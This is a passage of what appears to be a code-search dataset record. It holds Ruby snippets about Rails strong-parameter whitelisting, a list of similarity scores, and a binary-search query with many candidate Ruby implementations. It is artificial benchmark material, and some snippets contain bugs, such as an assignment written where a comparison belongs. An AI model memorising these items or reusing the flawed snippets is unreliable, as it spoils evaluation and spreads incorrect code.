"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def params(list)\n @declared_params = list\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def safelist; end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] | [
"0.6949516",
"0.68133247",
"0.6803944",
"0.6795208",
"0.6745487",
"0.67407674",
"0.65270406",
"0.6520888",
"0.6491314",
"0.6430685",
"0.6430685",
"0.6430685",
"0.6398393",
"0.6355302",
"0.63544565",
"0.6347063",
"0.6343035",
"0.63376737",
"0.6326283",
"0.6326283",
"0.6326283",
"0.63138837",
"0.6299373",
"0.6265234",
"0.6260794",
"0.62575966",
"0.6235641",
"0.62269944",
"0.6221537",
"0.62200975",
"0.6209341",
"0.61993533",
"0.6196644",
"0.61734784",
"0.6157504",
"0.61563677",
"0.61531556",
"0.61367255",
"0.6121853",
"0.611264",
"0.6075028",
"0.6071518",
"0.6062771",
"0.60561144",
"0.60451925",
"0.6035775",
"0.6021841",
"0.6019149",
"0.60172117",
"0.60114187",
"0.6009556",
"0.6009536",
"0.6006603",
"0.60043883",
"0.60043883",
"0.5996597",
"0.59940183",
"0.59934527",
"0.59856695",
"0.5972229",
"0.5968881",
"0.59667784",
"0.59654486",
"0.596338",
"0.5961725",
"0.59338135",
"0.5928234",
"0.59239507",
"0.59099627",
"0.5905216",
"0.59046614",
"0.58938116",
"0.58887655",
"0.58830744",
"0.58830744",
"0.58830744",
"0.58728033",
"0.5861703",
"0.5853257",
"0.58460855",
"0.5843953",
"0.58364105",
"0.5832591",
"0.5829531",
"0.582919",
"0.58179677",
"0.58160007",
"0.5813908",
"0.581193",
"0.5803385",
"0.5803385",
"0.5799791",
"0.5795472",
"0.5784412",
"0.57823825",
"0.57773477",
"0.57751346",
"0.5768509",
"0.57671285",
"0.57628495",
"0.5757869"
] | 0.0 | -1 |
write a function to search target in nums. If target exists, then return its index, otherwise return 1. Template 1 is the most basic and elementary form of Binary Search. It is the standard Binary Search Template that most high schools or universities use when they first teach students computer science. Template 1 is used to search for an element or condition which can be determined by accessing a single index in the array. Approach 1: Algorithm Initialise left and right pointers: left = 0, right = n 1. While left <= right: Compare middle element of the array nums[pivot] to the target value target. If the middle element is the target target = nums[pivot] : return pivot. If the target is not yet found: If target < nums[pivot], continue the search on the left right = pivot 1. Else continue the search on the right left = pivot + 1. Complexity Analysis Time complexity: O(log N). Space complexity: O(1) since it's a constant space solution. | def search(nums, target)
left = 0
right = nums.length - 1
while left <= right
pivot = left + (right - left) / 2
return pivot if nums[pivot] == target
if target < nums[pivot]
right = pivot - 1
else
left = pivot + 1
end
end
-1
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def search_target(nums, target)\n return -1 if nums.empty? || !target\n start_ind = 0\n last_ind = nums.size - 1\n mid = (start_ind + last_ind) / 2\n\n #having condition as start_ind + 1 < last_ind will be helpful in find first/last position in function\n #also avoid infinite loop when the array only has two elements\n while start_ind + 1 < last_ind do \n mid = start_ind + (last_ind - start_ind) / 2\n if (nums[mid] == target)\n last_ind = mid\n elsif nums[mid] > target\n last_ind = mid\n else\n start_ind = mid\n end\n end\n\n #find first position\n #if we wanna find the last position, check last_ind first\n if nums[start_ind] == target\n return start_ind\n end\n\n if nums[last_ind] == target\n return last_ind\n end\n\n return -1\nend",
"def search(nums, target)\n left = 0\n right = nums.length - 1\n len = nums.length\n\n if nums[left] > nums[right] # no need if we're already sorted\n while right - left > 1\n mid = (right + left)/2\n\n # Check which side seam is on\n if nums[left] > nums[mid]\n # left side\n right = mid\n else\n left = mid\n #right side\n end\n end\n else\n right = 0\n end\n\n start = right\n\n left = 0\n right = nums.length\n\n while left < right\n return (start + left) % len if t_index(nums, left, start, len) == target\n return (start + right) % len if t_index(nums, right, start, len) == target\n\n mid = (left + right) / 2\n return (start + mid) % len if t_index(nums, mid, start, len) == target\n\n if target < t_index(nums, mid, start, len)\n right = mid - 1\n else\n left = mid + 1\n end\n end\n\n -1\nend",
"def find_target(nums, target)\n return -1 if nums.empty? || !target\n start_ind = 0\n last_ind = nums.size - 1\n\n while (start_ind + 1 < last_ind) do\n mid = start_ind + (last_ind - start_ind) / 2\n\n if nums[mid] == target\n return mid\n end\n\n if nums[start_ind] < nums[mid]\n if nums[start_ind] <= target && target <= nums[mid]\n last_ind = mid\n else\n start_ind = mid\n end\n else\n if nums[mid] <= target && target <= nums[last_ind]\n start_ind = mid\n else\n last_ind = mid\n end\n end\n end\n\n return start_ind if nums[start_ind] == target\n return last_ind if nums[last_ind] == target\n return -1\nend",
"def search(nums, target)\n return -1 if nums.length == 0\n\n left = 0\n right = nums.length\n\n while left < right\n mid = (left + right) / 2\n if nums[mid] == target\n return mid\n elsif nums[mid] < target\n left = mid + 1\n else\n right = mid\n end\n end\n\n # Post-processing:\n # End Condition: left == right\n if (left != nums.length) && (nums[left] == target)\n left\n else\n -1\n end\nend",
"def search(nums, target)\n nums.each_with_index do |num, index|\n return index if num == target\n end\n -1\nend",
"def first_pos(nums, target)\n start_ind = 0\n last_ind = nums.size #will return the size if not found such element\n\n while start_ind + 1 < last_ind do\n mid = start_ind + (last_ind - start_ind) / 2\n if nums[mid] < target\n start_ind = mid\n else\n last_ind = mid\n end\n end\n\n if nums[start_ind] >= target\n return start_ind\n end\n\n return last_ind\nend",
"def binary_search(arr, target)\n new_arr = arr\n return nil if arr.empty? \n middle = (arr.length - 1) / 2\n if arr[middle] > target\n binary_search(arr[0...middle], target)\n elsif arr[middle] < target \n if binary_search(arr[middle+1..-1], target).nil?\n return nil\n else\n binary_search(arr[middle+1..-1], target) + middle + 1\n end \n elsif target == arr[middle]\n return new_arr.index(arr[middle])\n else\n return nil\n end\nend",
"def binary_search(arr, target, idx_puls = 0)\n mid = arr.length / 2\n return mid + idx_puls if arr[mid] == target\n return nil if arr.length == 1\n\n if arr[mid] < target\n binary_search(arr[(mid + 1)..-1], target, mid + 1)\n else\n binary_search(arr[0...mid], target, idx_puls)\n end\n\nend",
"def sortAndSearch(arr, target)\n arr = arr.sort_by(&:to_i)\n\n startIndex = 0;\n endIndex = arr.size-1\n\n if (target < arr[startIndex] || target > arr[endIndex])\n return 'target is not in array'\n elsif (target === arr[startIndex])\n return startIndex\n elsif (target === arr[endIndex])\n return endIndex\n end\n\n while (startIndex < endIndex - 1)\n midIndex = (startIndex + endIndex) / 2\n\n if (arr[midIndex] === target)\n return midIndex\n elsif (target < arr[midIndex])\n endIndex = midIndex\n elsif (target > arr[midIndex])\n startIndex = midIndex\n end\n end\n\n return 'target is not in array'\nend",
"def search_range(nums, target)\n left = search(target, nums, :left)\n return [-1, -1] if left == nums.size || target != nums[left]\n [left, search(target + 1, nums, :right) - 1]\nend",
"def search_insert (nums, target)\n\ti, j, m = 0, nums.length - 1, 0\n\twhile i <= j\n\t\tm = (i + j) / 2\n\t\tif nums[m] == target then return m\n\t\telsif nums[m] < target then i = m + 1\n\t\telse j = m - 1 end\n\tend\n\treturn i\nend",
"def search(arr, target)\n left = 0\n right = arr.length - 1\n\n while left <= right\n mid = (left + right ) / 2\n\n return mid if arr[mid] == target\n\n if arr[mid] < target\n left = mid + 1\n else\n right = mid - 1\n end\n end\n\n return -1\nend",
"def search_range(nums, target)\r\n left = 0\r\n right = nums.size - 1\r\n beginning = -1\r\n ending = -1\r\n\r\n while left + 1 < right\r\n mid = left + (right - left) / 2\r\n if nums[mid] < target\r\n left = mid + 1\r\n else\r\n right = mid\r\n end\r\n end\r\n if nums[left] == target\r\n beginning = left\r\n elsif nums[right] == target\r\n beginning = right\r\n end\r\n\r\n right = nums.size - 1\r\n while left + 1 < right\r\n mid = left + (right - left) / 2 + 1\r\n if nums[mid] > target\r\n right = mid - 1\r\n else\r\n left = mid\r\n end\r\n end\r\n if nums[right] == target\r\n ending = right\r\n elsif nums[left] == target\r\n ending = left\r\n end\r\n\r\n return [beginning, ending]\r\nend",
"def binary_search(arr, target)\n return nil if !arr.include?(target)\n middle_ele = arr[arr.length / 2]\n middle_idx = arr.length / 2\n if target == middle_ele\n return middle_idx\n elsif target > middle_ele\n binary_search(arr[middle_idx+1..-1], target) + arr[0..middle_idx].length\n else\n binary_search(arr[0...middle_idx], target)\n end\nend",
"def binary_search(arr, target)\n return nil if arr.empty?\n probe_index = arr.size / 2\n probe_ele = arr[probe_index]\n\n case probe_ele <=> target\n when 1\n left_arr = arr.take(probe_index) \n return binary_search(left_arr,target)\n when 0 \n return probe_index\n when -1\n compensated_index = (probe_index + 1)\n right_arr = arr.drop(compensated_index)\n return nil if binary_search(right_arr,target).nil?\n return binary_search(right_arr,target) + compensated_index\n end\nend",
"def binary_search(array, target)\n temp = array.sort\n middle = temp.length / 2\n first = 0\n last = temp.length - 1\n while first < last\n if temp[middle] == target\n return middle\n elsif temp[middle] < target\n first = middle + 1\n middle = (first + last) / 2\n else\n last = middle - 1\n middle = (first + last) / 2\n end\n end\n return -1\nend",
"def bsearch(nums, target)\n # nil if not found; can't find anything in an empty array\n return nil if nums.empty?\n \n probe_index = nums.length / 2\n case target <=> nums[probe_index]\n when -1\n # search in left\n bsearch(nums.take(probe_index), target)\n when 0\n probe_index # found it!\n when 1\n # search in the right; don't forget that the right subarray starts\n # at `probe_index + 1`, so we need to offset by that amount.\n sub_answer = bsearch(nums.drop(probe_index + 1), target)\n sub_answer.nil? ? nil : (probe_index + 1) + sub_answer\n end\n \n # Note that the array size is always decreasing through each\n # recursive call, so we'll either find the item, or eventually end\n # up with an empty array.\n end",
"def bsearch(nums, target)\n # nil if not found; can't find anything in an empty array\n return nil if nums.empty?\n \n probe_index = nums.length / 2\n case target <=> nums[probe_index]\n when -1\n # search in left\n bsearch(nums.take(probe_index), target)\n when 0\n probe_index # found it!\n when 1\n # search in the right; don't forget that the right subarray starts\n # at `probe_index + 1`, so we need to offset by that amount.\n sub_answer = bsearch(nums.drop(probe_index + 1), target)\n sub_answer.nil? ? nil : (probe_index + 1) + sub_answer\n end\n \n # Note that the array size is always decreasing through each\n # recursive call, so we'll either find the item, or eventually end\n # up with an empty array.\n end",
"def find_a_number_in_sorted_array(target_num, array, start_index, end_index)\n \n if end_index < start_index or start_index > end_index\n return nil\n end\n \n middle_index = ((start_index + end_index)/2).floor\n found_target_index = nil \n \n if target_num < array[middle_index]\n found_target_index = find_a_number_in_sorted_array(target_num, array, start_index, middle_index - 1)\n elsif target_num > array[middle_index]\n found_target_index = find_a_number_in_sorted_array(target_num, array, middle_index + 1, end_index)\n else\n found_target_index = middle_index\n end\n \n return found_target_index\nend",
"def bsearch(arr, target)\n return nil if arr.empty?\n mid_idx = arr.length / 2\n pivot = arr[mid_idx]\n return mid_idx if pivot == target\n if pivot > target\n bsearch(arr[0...mid_idx], target)\n else\n result = bsearch(arr[mid_idx + 1..-1], target)\n if result == nil\n nil\n else\n mid_idx + 1 + result\n end\n end\nend",
"def binary_search(array, target) \n return nil if array.length == 0\n mid = array.length / 2\n return mid if array[mid] == target\n left = array[0...mid]\n right = array[mid + 1..-1]\n if array[mid] > target #[]\n binary_search(left, target)\n else\n result = binary_search(right, target)\n return result.nil? ? nil : result + mid + 1\n end\n \nend",
"def find_start nums, target, left, right\n if left + 1 >= right\n return left if nums[left] == target\n return right if nums[right] == target\n return -1\n end\n\n mid = left + (right - left) / 2\n\n if nums[mid] >= target\n right = mid\n else\n left = mid\n end\n\n find_start nums, target, left, right\nend",
"def search_insert(nums, target)\n return 0 if nums.length == 0 \n if nums.include?(target)\n nums.each_with_index do |val ,index| \n if val == target\n return index\n end\n end\n else\n if target > nums[-1] \n return (nums.length - 1) + 1\n elsif target < nums[0]\n return 0\n elsif target.between?(nums[0],nums[-1])\n i = 0 \n j = 1\n while i < nums.length - 1 do \n if target.between?(nums[i],nums[j])\n return i + 1\n end\n i += 1\n j += 1\n end\n end\n end\nend",
"def binary_search(arr, target)\n if arr.length == 1\n return nil if arr[0] != target\n end\n mid = arr.length / 2\n if target == arr[mid]\n return mid\n elsif target > arr[mid]\n if binary_search(arr[mid..arr.length], target) == nil\n return nil\n else\n return binary_search(arr[mid..arr.length], target) + arr.length / 2\n end\n else\n binary_search(arr[0..mid-1], target)\n end\nend",
"def search_insert(nums, target)\n @start_index = 0\n @end_index = nums.length - 1\n if target > nums.last\n return nums.length\n elsif target < nums.first\n return 0\n else\n while @start_index <= @end_index\n @mid_index = (@end_index + @start_index) / 2\n if nums[@mid_index] == target\n return @mid_index\n elsif nums[@mid_index] < target\n @start_index += 1\n else\n @end_index -= 1\n end\n \n end\n return nums.bsearch_index{|e| e > target}\n end\nend",
"def search_insert(nums, target)\n idx = nums.index(target)\n return idx unless idx.nil?\n first = nums.first\n last = nums.last\n return nums.size if target > last\n return 0 if target < first\n target.downto(first).to_a.each do |e|\n idx = nums.index(e)\n return idx + 1 unless idx.nil?\n end\n return 'Not found'\nend",
"def binary_search(array, target)\n return nil if array.length == 1 && array[0] != target\n mid = array.length / 2\n\n if target == array[mid]\n return mid\n elsif target < array[mid]\n return binary_search(array[0...mid], target)\n else\n found = binary_search(array[mid+1..-1], target)\n return found.nil? ? nil : mid + 1 + found\n end\nend",
"def search_insert(nums, target)\n start_ind = 0\n last_ind = nums.size \n\n while start_ind + 1 < last_ind do\n mid = start_ind + (last_ind - start_ind) / 2\n if nums[mid] == target\n return mid\n end\n\n if nums[mid] < target\n start_ind = mid\n else\n last_ind = mid\n end\n end\n\n if nums[start_ind] >= target\n return start_ind\n end\n\n return last_ind\nend",
"def binary_search(array, target)\n return nil if array.empty?\n midpoint = array.length / 2\n case target <=> array[midpoint]\n when 0\n midpoint\n when 1\n right_idx = binary_search(array[(midpoint + 1)..-1], target)\n if right_idx\n right_idx + 1 + midpoint\n else\n nil\n end\n when -1\n binary_search(array[0...midpoint], target)\n end\nend",
"def binary_search(target, array)\r\n\t#Your code here\r\n\tindex = array.length / 2\r\n\tlo = 0\r\n\thi = array.length - 1\r\n\twhile array[index] != target && array.include?(target)\r\n\t\tif array[index] > target\r\n\t\t\thi = index - 1\r\n\t\t index = (lo + hi) / 2\r\n\t\telsif array[index] < target\r\n\t\t\tlo = index + 1\r\n\t\t\tindex = (lo + hi) / 2\r\n\t\tend\r\n\tend\r\n\tif array[index] == target\r\n\t\treturn index\r\n\telse\r\n\t\treturn -1\r\n\tend \r\nend",
"def binary_search(target, array)\n length = array.length\n center = length / 2\n first = 0\n last = length - 1\n\n while first <= last\n if array[center] == target\n return array.index(target)\n elsif array[center] < target\n first = center + 1\n center = (first + last) / 2\n else\n last = center - 1\n center = (first + last) / 2\n end\n end\n\n return -1\nend",
"def search_insert(nums, target)\n low = 0\n high = nums.size\n while low < high\n mid = low + (high - low) / 2\n return mid if nums[mid] == target\n if nums[mid] < target\n low = mid + 1\n else\n high = mid\n end\n end\n \n return low\nend",
"def binary_search(array, target)\n return nil if array.empty?\n\n middle_idx = array.length/2\n\n case target <=> array[middle_idx]\n\n when -1\n binary_search(array.take(middle_idx), target)\n when 0\n return middle_idx\n when 1\n binary_search(array[middle_idx..-1], target)\n end\n\nend",
"def bsearch(nums, target)\n return nil if nums.empty?\n\n probe_index = nums.length / 2\n case target <=> nums[probe_index]\n when -1\n bsearch(nums.take(probe_index), target)\n when 0\n probe_index\n when 1\n\n sub_answer = bsearch(nums.drop(probe_index + 1), target)\n (sub_answer.nil?) ? nil : (probe_index + 1) + sub_answer\n end\n\nend",
"def binary_search(array, target)\n mid = array.length / 2\n\n if target < array[mid]\n binary_search(array[0...mid], target)\n elsif value > array[mid]\n function = binary_search(array[mid + 1..-1], target)\n function.nil? ? nil : function + mid + 1\n else\n return mid\n end\nend",
"def binary_search_recursive(array, target, low = 0, high = array.length - 1)\n return \"#{target} value could not be found\" if low > high\n mid = (low + high) / 2\n return mid if array[mid] == target\n p \"#{low} #{mid} #{high}\"\n if array[mid] > target\n high = mid - 1\n else\n low = mid + 1\n end\n binary_search_recursive(array, target, low, high)\nend",
"def search_insert(nums, target)\n if nums.length == 1\n if target > nums[0]\n return 1\n else\n return 0\n end\n end\n\n i = 0\n while i < nums.length\n if nums[i] == target\n return i\n elsif target < nums[i]\n return i\n end\n i += 1\n end\n\n return nums.length\nend",
"def search_range(nums, target)\n low = search(nums, target)\n nums[low] == target ? [low, search(nums, target + 1) - 1] : [-1, -1] \nend",
"def find_index(array, target, root = build_tree(array))\n return root.index if target == root.val\n if target < root.val\n if root.left\n find_index(array, target, root.left)\n else\n -1\n end\n else target > root.val\n if root.right\n find_index(array, target, root.right)\n else\n -1\n end\n end\nend",
"def search_index(arr, target, left = 0, right = arr.length - 1)\n return -1 if left > right # -1 means no found\n\n half = (left + right) / 2\n case target <=> arr[half]\n when 0\n half\n when -1\n search_index(arr, target, left, half - 1)\n when 1\n search_index(arr, target, half + 1, right)\n end\nend",
"def search_range(nums, target)\n emp = []\n if nums.include?(target)\n nums.each_with_index do |n,i|\n if n == target\n emp.push(i)\n end\n end\n\n emp.map {|n| [emp[0], emp[emp.length - 1]] }[0]\n\n else\n [-1,-1]\n end\nend",
"def binary_search(array, target)\n lower_bound = 0\n upper_bound = array.length - 1\n while lower_bound <= upper_bound\n midpoint = (lower_bound + upper_bound) / 2\n value_at_midpoint = array[midpoint]\n if target = value_at_midpoint\n return midpoint\n elsif target > value_at_midpoint\n lower_bound = midpoint + 1\n elsif target < value_at_midpoint\n upper_bound = midpoint - 1\n end\n end\n return nil\nend",
"def find_element(array, target, low, high)\n return -1 if high < low\n mid = (low + high)/2\n return mid if target == array[mid]\n if array[low] <= array[mid]\n if target >= array[low] && target <= array[mid]\n return find_element(array, target, low, mid-1)\n end\n return find_element(array, target, mid+1, high)\n end\n if target >= array[mid] && target <= array[high]\n return find_element(array, target, mid+1, high)\n end\n return find_element(array, target, low, mid-1)\nend",
"def binary_search(arr, target)\n binary_search_helper(arr, target, 0, arr.length - 1)\nend",
"def bsearch(arr, target)\n return nil if arr.empty?\n mid = arr.length / 2\n return mid if arr[mid] == target\n\n if target < arr[mid]\n bsearch(arr[0...mid], target)\n else\n result = bsearch(arr[mid + 1..-1], target)\n result.nil? ? nil : mid + 1 + result\n end\nend",
"def search_array(integers, target)\n idx = 0\n\n while idx < integers.length\n if integers[idx] == target\n return idx\n elsif idx == integers.length\n nil\n else\n idx += 1\n end\n end\nend",
"def binary_search(array, target)\n return nil if array.count == 0\n\n median = array.length / 2\n left = array[0...median]\n right = array[median + 1..-1]\n\n return median if array[median] == target\n if target < array[median]\n return binary_search(left, target)\n else\n sub_answer = binary_search(right, target)\n (sub_answer.nil?) ? nil : (sub_anser + median + 1)\n end\n\nend",
"def bin_search(target,array)\n lo = 0\n hi = array.length - 1\n mid = (lo+hi)/2\n while lo <= hi\n if array[mid] > target\n hi = mid-1\n mid = (lo+hi)/2\n elsif array[mid] < target\n lo = mid+1\n mid = (lo+hi)/2\n else\n return mid\n end\n end\n return -1\nend",
"def binary_search(arr, target)\n mid = arr.length / 2\n left = arr.slice(0, mid)\n right = arr.slice(mid, arr.length)\n if arr.length < 2\n return arr.first == target\n elsif left.last >= target\n return binary_search(left, target)\n elsif right.last >= target\n return binary_search(right, target)\n else\n false\n end\nend",
"def bsearch(array, target)\n return nil if array.length == 1 && target != array[0]\n idx = array.length / 2\n mid_ele = array[idx]\n\n if target == mid_ele\n return idx\n elsif target < mid_ele\n return bsearch(array[0...idx], target)\n else\n if bsearch(array[idx+1..-1], target).nil?\n return nil\n else\n return idx + 1 + bsearch(array[idx+1..-1], target)\n end\n end\nend",
"def bsearch(arr, target)\n return nil if arr.length < 1\n\n middle_idx = arr.length / 2\n return_idx = 0\n\n return middle_idx if arr[middle_idx] == target\n\n if target < arr[middle_idx]\n index = bsearch(arr[0...middle_idx], target)\n index.nil? ? (return nil) : return_idx += index\n else\n index = bsearch(arr[middle_idx + 1..-1], target)\n index.nil? ? (return nil) : (return_idx = (middle_idx + index + 1))\n end\n\n return_idx\nend",
"def search(nums, target)\n helper(nums, target, 0, nums.length - 1)\nend",
"def binary_search(array,target)\n \n min = 0\n max = array.length - 1\n \n while min <= max\n mid = (min + max) / 2\n if array[mid] > target\n max = mid -1\n elsif array[mid] < target\n low = mid + 1 \n else\n return mid\n end\n end\n\nend",
"def search_range(nums, target)\n output_range = [-1, -1]\n # try to go left\n binary_search_helper(nums, target, 0, nums.length - 1, output_range, true)\n\n # go right\n binary_search_helper(nums, target, 0, nums.length - 1, output_range, false)\n output_range\nend",
"def binary_search(array, target)\n lower_bound = 0\n upper_bound array.length - 1\n while lower_bound <= upper_boud do\n midpoint = (upper_bound + lower_bound) / 2\n value_at_midpoint = array[midpoint]\n if target == value_at_midpoint\n return midpoint\n elsif target < value_at_midpoint\n upper_bound = midpoint - 1\n elsif target > value_at_midpoint\n lower_bound = midpoint + 1\n end\n end\n return nil\nend",
"def rec_bin_search(array, target)\n return nil if array.length == 0\n\n midpoint = array.length / 2\n\n return midpoint if array[midpoint] == target\n\n if target < array[midpoint]\n rec_bin_search(array.take(midpoint), target)\n else\n top = rec_bin_search(array.drop(midpoint + 1), target)\n top == nil ? nil : top + (midpoint + 1)\n end\nend",
"def search_range(nums, target)\n return [-1, -1] if nums.empty?\n\n start_pos = first_pos(nums, target)\n last_pos = first_pos(nums, target + 1) - 1\n\n if (start_pos == nums.size || nums[start_pos] != target)\n return [-1, -1]\n else\n return [start_pos, [start_pos, last_pos].max]\n end\nend",
"def binary_search(arr, l, r, target)\n return [-1, l, r] if l > r\n mid = l + (r - l) / 2\n return [mid, l, r] if (arr[mid] == target) # Found match!\n (arr[mid] > target) ? binary_search(arr, l, mid - 1, target) : binary_search(arr, mid + 1, r, target)\nend",
"def search_range(nums, target)\n return [-1,-1] if nums.empty? || !nums.include?(target)\n output = [*nums.each_with_index]\n all_targets = output.find_all do |tuple|\n tuple[0] == target\n end\n [all_targets.first[1], all_targets.last[1]]\nend",
"def bsearch arr, target \n return nil if arr.length == 1 && !arr.include?(target)\n\n mid_idx = arr.length / 2\n\n return mid_idx if arr[mid_idx] == target \n \n left = arr.take(mid_idx)\n right = arr.drop(mid_idx)\n\n if arr[mid_idx] > target \n bsearch(left, target)\n else \n result = bsearch(right,target)\n if result.nil? \n return nil \n else \n result + mid_idx\n end\n end\nend",
